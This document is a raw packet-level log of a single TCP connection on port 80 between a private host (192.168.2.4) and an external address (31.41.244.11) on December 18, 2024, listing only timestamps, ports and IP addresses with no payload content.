Dec 18, 2024 17:08:25.755888939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.755939007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.756751060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.756798029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.756840944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.756954908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.757818937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.757891893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.757977962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.758028984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.758758068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.758893967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.758904934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.758970976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.759799957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.759895086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.759923935 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.760010958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.760751009 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.760811090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.760853052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.760901928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.761792898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.761830091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.761930943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.762162924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.762753963 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.762881994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.762918949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.762970924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.763849020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.763945103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.763991117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.764089108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.764689922 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.764739990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.764781952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.764848948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.765789032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.765835047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.765927076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.765979052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.766633987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.766693115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.766801119 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.766850948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.767770052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.767819881 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.767860889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.767966986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.768604994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.768657923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.768743992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.768795013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.769623041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.769701004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.769723892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.769747972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.770554066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.770649910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.770693064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.770735025 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.771608114 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.771656990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.771776915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.771821976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.772675037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.772725105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.772797108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.772917986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.773591995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.773694038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.773716927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.773768902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.774558067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.774703026 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.774749994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.775600910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.775645018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.775666952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.775687933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.776619911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.776670933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.776787996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.776949883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.777679920 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.777723074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.777759075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.778052092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.778583050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.778656006 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.778697968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.778745890 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.779716015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.779772043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.779807091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.779850006 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.780617952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.780666113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.780766010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.780819893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.781523943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.781673908 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.781689882 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.781717062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.782566071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.782763958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.782814026 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.783483982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.783531904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.783747911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.783869028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.784490108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.784538984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.784679890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.784728050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.785459995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.785506964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.785557985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.785657883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.786484957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.786631107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.786640882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.786689997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.787458897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.787540913 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.787559986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.787610054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.788389921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.788448095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.788536072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.788619041 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.789388895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.789447069 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.789525032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.789582014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.790421963 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.790468931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.790534973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.790643930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.791348934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.791394949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.791471004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.791518927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.932502985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.932609081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.932665110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.932703972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.932759047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.933002949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.933012009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.933039904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.933847904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.933918953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.933948994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.933998108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.934689999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.934739113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.934813976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.934910059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.935950041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.936018944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.936022997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.936069012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.936827898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.936877966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.936969995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.937024117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.937618971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.937711954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.937726974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.937803984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.938570023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.938620090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.938744068 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.938791990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.939696074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.939744949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.939912081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.939969063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.940716982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.940768003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.940859079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.940907955 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.941766024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.941893101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.942013979 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.942235947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.942883968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.942938089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.943023920 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.943097115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.943954945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.944004059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.944062948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.944154024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.944926023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.944999933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.945017099 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.945066929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.945892096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.945944071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.946013927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.946062088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.946774006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.946836948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.946918964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.946969986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.947545052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.947638035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.947665930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.947741032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.948519945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.948612928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.948652983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.948705912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.949497938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.949587107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.949623108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.949700117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.950517893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.950572014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.950604916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.950675011 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.951488018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.951565027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.951585054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.951632023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.952480078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.952642918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.952763081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.953052044 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.953680992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.953730106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.953773022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.953815937 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.954525948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.954581022 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.954615116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.954679966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.955462933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.955517054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.955693960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.955811977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.956475019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.956535101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.956593990 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.956708908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.957575083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.957623005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.957659006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.957715034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.958473921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.958632946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.958690882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.958760977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.959537029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.959655046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.959706068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.960453987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.960542917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.960563898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.960592031 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.961404085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.961456060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.961539984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.961707115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.962403059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.962451935 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.962501049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.962574959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.963473082 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.963543892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.963552952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.963601112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.964364052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.964428902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.964458942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.964487076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.965337992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.965435982 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.965470076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.965524912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.966322899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.966434956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.966499090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.967408895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.967468977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.967534065 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.967581987 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.968342066 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.968413115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.968415022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.968465090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.969333887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.969501019 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.969521999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.969594955 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.970292091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.970406055 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.970447063 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.970536947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.971379995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.971501112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.971544027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.972289085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.972429991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.972445965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.972496033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.973247051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.973376036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.973426104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.974267960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.974325895 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.974409103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.974582911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.975423098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.975472927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.975514889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.975562096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.976198912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.976300001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.976422071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.976479053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.977319956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.977370977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.977463007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.977511883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.978256941 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.978347063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.978382111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.978434086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.979298115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.979373932 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.979434967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.979509115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.980475903 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.980535984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.980560064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.980662107 CET	49771	80	192.168.2.4	31.41.244.11
